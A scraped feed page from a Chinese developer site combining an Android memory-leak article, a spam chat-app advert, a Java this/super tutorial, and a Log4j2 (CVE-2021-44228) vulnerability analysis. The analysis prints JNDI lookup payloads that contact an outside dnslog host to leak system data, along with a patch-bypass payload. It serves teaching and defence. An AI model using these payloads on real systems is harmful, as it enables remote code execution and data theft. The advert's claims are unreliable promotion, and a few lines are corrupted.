  void registerCallback(Object callback);
  void unregisterCallback(Object callback);
  boolean isFinishing();
}

提供了三个能力

  • registerCallback: 注册Callback

  • unregisterCallback: 反注册Callback

  • isFinishing: 当前页面是否已经销毁

在我们解决内存泄漏时需要用到这三个API。

还是以上面网络请求的例子,我们可以通过动态代理来解决这个内存泄漏问题。 先看看使用了动态代理之后的依赖关系图

实线表示强引用 虚线表示弱引用

  • 通过动态代理,将使用匿名内部类与okHttp-Dispatcher进行解耦,okHttp-Dispatcher直接引用的动态代理对象, 动态代理对象不直接依赖原始的callback和activity,而是以弱引用的形式依赖。

  • 此时callback并没有被其他对象强引用,如果不做任何处理,这个callback在对应的方法运行结束之后就可能被回收。

  • 所以需要有一个步骤,将这个callback和对应的Activity、Fragment进行绑定。此时就需要用到前面定义到的ICallbackHolder,通过registerCallback将callback注册到对应Activity、Fragment中。

  • 最后在InvocationHandler中的invoke方法,判断当前的Activity、Fragment是否已经finish了,如果已经finish了,就不再进行回调调,否则进行调用。

  • 回调完成后,如果当前的Callback是否是一次性的,就从callbackList中移除。

接下来可以看看我们怎么通过调用来构建这个依赖关系:

使用CallbackUtil

在创建匿名内部类时,同时传入对应的ICallbackHolder

client.newCall(request).enqueue(CallbackUtil.attachToRegistry(object : Callback {
          override fun onFailure(call: Call, e: IOException) {}
          override fun onResponse(call: Call, response: Response) {
              textView.text = "1111"
          }
      }, this))

创建动态代理对象

动态代理对象对于ICallbackHolder和callback的引用都是弱引用,同时将callback注册到ICallbackHolder中。

private static class MyInvocationHandler<T> extends InvocationHandler {

      private WeakReference<T> refCallback;
      private WeakReference<ICallbackHolder> refRegistry;
      private Class<?> wrappedClass;

      public MyInvocationHandler(T reference, ICallbackRegistry callbackRegistry) {
          refCallback = new WeakReference<>(reference);
          wrappedClass = reference.getClass();
          if (callbackRegistry != null) {
              callbackRegistry.registerCallback(reference);
              refRegistry = new WeakReference<>(callbackRegistry);
          }
      }
}

invoke方法处理

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  ICallbackRegistry callbackRegistry = callbackRegistry != null ? refRegistry.get() : null;
  T callback = refCallback.get();
  Method originMethod = ReflectUtils.getMethod(wrappedClass, method.getName(), method.getParameterTypes());
  if (callback == null || holder != null && holder.isFinishing()) {
      return getMethodDefaultReturn(originMethod);
  }

  if (holder != null && ....)
  {
      holder.unregisterCallback(callback);
  }
  ...
  return method.invoke(callback, args);
  }

在页面销毁时,不回调原始callback。这样,也避免了出现因为页面销毁了之后,访问页面的成员,比如被butterknife标注的view导致的内存泄漏问题。

作者:谢谢谢_xie
来源:https://juejin.cn/post/7074038402009530381

收起阅读 »

安全私密的聊天系统可免费使用可转让可定制

iOS
安全私密的聊天系统可免费使用可转让可定制超级稳定的聊天通信系统可在线免费使用 可聊天、红包、转账、超级大群超过20台服务器承载均衡保证超级大群永不丢包,保证不卡顿 用过才知好注册超级方便,国内国外均可注册使用,支持充值提现,支持多人语音视频想下载只需appst...
继续阅读 »


安全私密的聊天系统可免费使用可转让可定制

超级稳定的聊天通信系统可在线免费使用 可聊天、红包、转账、超级大群
超过20台服务器承载均衡保证超级大群永不丢包,保证不卡顿 用过才知好
注册超级方便,国内国外均可注册使用,支持充值提现,支持多人语音视频

想下载只需appstore搜索“兔八” 免费下载使用
安卓版本请前往以下地址下载:tuba2007.com

对于系统源码和定制的问题:

系统支持android、ios、pc(c/s)、webpc、h5等版本

功能具备 系统稳定 团队在通信行业从事十二年

针对大的集团客户高并发做了针对性优化和处理

前端在秒内频繁收发消息上进行了极致优化 可以做到百万级并发不
卡顿不丢包 可合同约束此条款

在功能上除了具备微信常备功能(单聊、群聊、充值提现、h5外链扩展、各红包类型、单以及多人
语音视频、红包转账、位置焚毁、收藏转发、语音翻译、多端同步等等)外,最主要可对超级大群

进行扩展 可保证在达到2000大群的情况下频繁红包等消息类型的调取收发不卡顿 底层架构支持
并能支撑超级大群频繁多开和多处理

在扩展上做了处理和升级

可快速扩展新的消息类型以及在系统扩展第三方应用 可实现与第三方系统的用户同步与数据互通

支持源码合作以及开发定制合作

支持Saas

支持私有化服务器快速t1独立部署

支持一键快速销毁服务器所有存储非存储数据
功能不一一叙述、
需要体验以及合作的加

V:youhuisam 球球:383189941

收起阅读 »

面试官:this和super有什么区别?this能调用到父类吗?

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者...
继续阅读 »

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者的“功劳”。

1.super 关键字

super 是用来访问父类实例属性和方法的。

1.1 super 方法使用

每个实例类如果没有显示的指定构造方法,那么它会生成一个隐藏的无参构造方法。对于 super() 方法也是类似,如果没有显示指定 super() 方法,那么子类会生成一个隐藏的 super() 方法,用来调用父类的无参构造方法,这就是咱们开篇所说的“每个类在实例化的时候之所以能调用到 Object 类,就是默认 super 方法起作用了”,接下来我们通过实例来验证一下这个说法。

PS:所谓的“显示”,是指在程序中主动的调用,也就是在程序中添加相应的执行代码。

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
}

在以上代码中,子类 Son 并没有显示指定 super() 方法,我们运行以上程序,执行的结果如下: 从上述的打印结果可以看出,子类 Son 在没有显示指定 super() 方法的情况下,竟然调用了父类的无参构造方法,这样从侧面验证了,如果子类没有显示指定 super() 方法,那么它也会生成一个隐藏的 super() 方法。这一点我们也可以从此类生成的字节码文件中得到证实,如下图所示:

super 方法注意事项

如果显示使用 super() 方法,那么 super() 方法必须放在构造方法的首行,否则编译器会报错,如下代码所示: 如上图看到的那样,如果 super() 方法没有放在首行,那么编译器就会报错:提示 super() 方法必须放到构造方法的首行。 为什么要把 super() 方法放在首行呢? 这是因为,只要将 super() 方法放在首行,那么在实例化子类时才能确保父类已经被先初始化了。

1.2 super 属性使用

使用 super 还可以调用父类的属性,比如以下代码可以通过子类 Son 调用父类中的 age 属性,实现代码如下:

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   // 定义一个 age 属性
   public int age = 30;

   public Father() {
       super();
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("父类 age:" + super.age);
  }
}

以上程序的执行结果如下图所示,在子类中成功地获取到了父类中的 age 属性:

2.this 关键字

this 是用来访问本类实例属性和方法的,它会先从本类中找,如果本类中找不到则在父类中找。

2.1 this 属性使用

this 最常见的用法是用来赋值本类属性的,比如常见的 setter 方法,如下代码所示: 上述代码中 this.name 表示 Person 类的 name 属性,此处的 this 关键字不能省略,如果省略就相当于给当前的局部变量 name 赋值 name,自己给自己赋值了。我们可以尝试一下,将 this 关键字取消掉,实现代码如下:

class Person {
   private String name;
   public void setName(String name) {
       this.name = name;
  }
   public String getName() {
       return name;
  }
}
public class ThisExample {
   public static void main(String[] args) {
       Person p = new Person();
       p.setName("磊哥");
       System.out.println(p.getName());
  }
}

以上程序的执行结果如下图所示: 从上述结果可以看出,将 this 关键字去掉之后,赋值失败,Person 对象中的 name 属性就为 null 了。

2.2 this 方法使用

我们可以使用 this() 方法来调用本类中的构造方法,具体实现代码如下:

public class ThisExample {
   // 测试方法
   public static void main(String[] args) {
       Son p = new Son("Java");
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("子类中的无参构造方法");
  }
   public Son(String name) {
       // 使用 this 调用本类中无参的构造方法
       this();
       System.out.println("子类有参构造方法,name:" + name);
  }
}

以上程序的执行结果如下图所示: 从上述结果中可以看出,通过 this() 方法成功调用到了本类中的无参构造方法。

注意:this() 方法和 super() 方法的使用规则一样,如果显示的调用,只能放在方法的首行。

2.3 this 访问父类方法

接下来,我们尝试使用 this 访问父类方法,具体实现代码如下:

public class ThisExample {
   public static void main(String[] args) {
       Son son = new Son();
       son.sm();
  }
}

/**
* 父类
*/
class Father {
   public void fm() {
       System.out.println("调用了父类中的 fm() 方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public void sm() {
       System.out.println("调用子类的 sm() 方法访问父类方法");
       // 调用父类中的方法
       this.fm();
  }
}

以上程序的执行结果如下: 从上述结果可以看出,使用 this 是可以访问到父类中的方法的,this 会先从本类中找,如果找不到则会去父类中找。

3.this 和 super 的区别

1.指代的对象不同

super 指代的是父类,是用来访问父类的;而 this 指代的是当前类。

2.查找范围不同

super 只能查找父类,而 this 会先从本类中找,如果找不到则会去父类中找。

3.本类属性赋值不同

this 可以用来为本类的实例属性赋值,而 super 则不能实现此功能。

4.this 可用于 synchronized

因为 this 表示当前对象,所以this 可用于 synchronized(this){....} 加锁,而 super 则不能实现此功能。

总结

this 和 super 都是 Java 中的关键字,都起指代作用,当显示使用它们时,都需要将它们放在方法的首行(否则编译器会报错)。this 表示当前对象,super 用来指代父类对象,它们有四点不同:指代对象、查找访问、本类属性赋值和 synchronized 的使用不同。

作者:Java中文社群
来源:https://juejin.cn/post/7046994591253266440

收起阅读 »

从0到1带你深入理解log4j2漏洞

0x01前言从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞...
继续阅读 »



0x01前言

最近IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。

Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:

大量IO操作;

无法合理控制输出,并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

pic_746f57fc.png

在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

pic_a29fa3d8.png

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。

pic_b911ab38.png

0x03 Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包



  org.apache.logging.log4j
  log4j-core
  2.14.0

pic_e9a036b2.png

在工程目录resources下创建log4j2.xml配置文件






 

     
 


 
     
 

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
  String a="${java:os}";
  logger.error(a);
}
}

pic_aafbf0e7.png

属性占位符之Interpolator(插值器)

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map的方式则封装了多个StrLookup对象,如下图显示:

pic_d1985627.png

详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用jndi(javax.naming)获取value。如下图演示。

pic_cb5dc772.png

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档

pic_d98d5967.png

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。

在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:

pic_9b3ba45d.png

pic_d17431d4.png

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

pic_a35d88a0.png

0x04 漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

public static void main(String[] args) {

  Logger logger = LogManager.getLogger(Log4jTEst.class);

  logger.error("${jndi:ldap://2lnhn2.ceye.io}");

}
}

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

pic_cd90f5ec.png

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

pic_bf1e021d.png

pic_3dec5458.png

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

pic_5556a236.png

这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

pic_da4aa8d9.png

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行

pic_8703a6a5.png

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?

可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

pic_b85b66f9.png

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

pic_e0add034.png

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

pic_9cb4d7c7.png

然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示

pic_11229b48.png

说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

pic_7621e8c9.png

当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

pic_9bb0024c.png

pic_618bede7.png

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

pic_a1749651.png

而这里日志优先级数值小于等于200的就只有"error"、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。





 




 


所以只需要做一点简单的修改,将中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示



 
     
         
     
 
 
     
         
     
 

关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解JAVA JNDI注入知识详解

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示



  %d %p %c{1.} [%t] $${env:USER} %m%n

获取java运行时版本,jvm版本,和操作系统版本,如下所示



  %d %m%n

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

pic_7f40016f.png

只不过这次迭代处理先处理了"${java:os}",如下图所示

pic_5e142fc5.png

如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

pic_827aa514.png

解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

pic_da9f36b2.png

此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

pic_3a438ebd.png

但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

执行完成后请求的地址如下

pic_af42e0db.png

最后会报如下错误,并且无法回显

pic_dfbae9c6.png

0x06 2.15.0 rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

pic_8dc15d3c.png

修改后

pic_ede62086.png

可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

pic_fe3e7fff.png

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

pic_81292a90.png

整理一下,可以看的更清晰一些

DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

pic_f57ea3ad.png

可以看到并没有对传入的数据的“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

pic_e424c988.png

问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示



 
     
         
     
 
 
     
         
     
 

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示

pic_aa23e755.png

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

pic_d138eeeb.png

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

pic_b9989af6.png

这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

pic_83144ad8.png

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

0x07 修复&临时建议

在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的判断,并且默认禁用了jndi协议的使用。

pic_696b7067.png

pic_fa5ec99a.png

修复建议:

升级Apache Log4j2所有相关应用到最新版。

升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

0x08 时间线

2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击

2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。

该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。

永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。
作者:kali_Ma
来源:https://blog.csdn.net/kali_Ma/article/details/122178627

收起阅读 »

不会 Android 性能优化?你还差一个开源库!

简介开源库的地址是:幸苦各位能给个小小的 star 鼓励下。UI 线程 block 检测。App 的 FPS 检测。线程的创建和启动监控以及线程池的创建监控。IPC (进程间通讯)监控。实时通过 logcat 打印检测到的问题。保存检测到的信息到文件。提供上报...
继续阅读 »

简介

由于本人工作需要,需要解决一些性能问题,虽然有 ProfilerSystrace 等工具,但是无法实时监控,多少有些不方便,于是计划写一个能实时监控性能的小工具。经过学习大佬们的文章,最终完成了这个开源的性能实时检测库。初步能达到预期效果,这里做个记录,算是小结了。

开源库的地址是:

github.com/XanderWang/…

幸苦各位能给个小小的 star 鼓励下。

这个性能检测库,可以检测以下问题:

  • UI 线程 block 检测。

  • App 的 FPS 检测。

  • 线程的创建和启动监控以及线程池的创建监控。

  • IPC (进程间通讯)监控。

同时还实现了以下功能:

  • 实时通过 logcat 打印检测到的问题。

  • 保存检测到的信息到文件。

  • 提供上报信息文件接口。

接入指南

1 在 APP 工程目录下面的 build.gradle 添加如下内容。

dependencies {
 // 基础依赖,必须添加
 debugImplementation 'io.github.xanderwang:performance:0.3.1'
 releaseImplementation 'io.github.xanderwang:performance-noop:0.3.1'

 // hook 方案封装,必须添加
 debugImplementation 'io.github.xanderwang:hook:0.3.1'

 // 以下是 hook 方案选择一个就好了。如果运行报错,就换另外一个,如果还是报错,就提个 issue
 // SandHook 方案,推荐添加。如果运行报错,可以替换为 epic 库。
 debugImplementation 'io.github.xanderwang:hook-sandhook:0.3.1'

 // epic 方法。如果运行报错,可以替换为 SandHook。
 // debugImplementation 'io.github.xanderwang:hook-epic:0.3.1'
}

2 APP 工程的 Application 类新增类似如下初始化代码。

Java 初始化示例

  private void initPERF(final Context context) {
   final PERF.LogFileUploader logFileUploader = new PERF.LogFileUploader() {
     @Override
     public boolean upload(File logFile) {
       return false;
    }
  };
   PERF.init(new PERF.Builder()
      .checkUI(true, 100) // 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
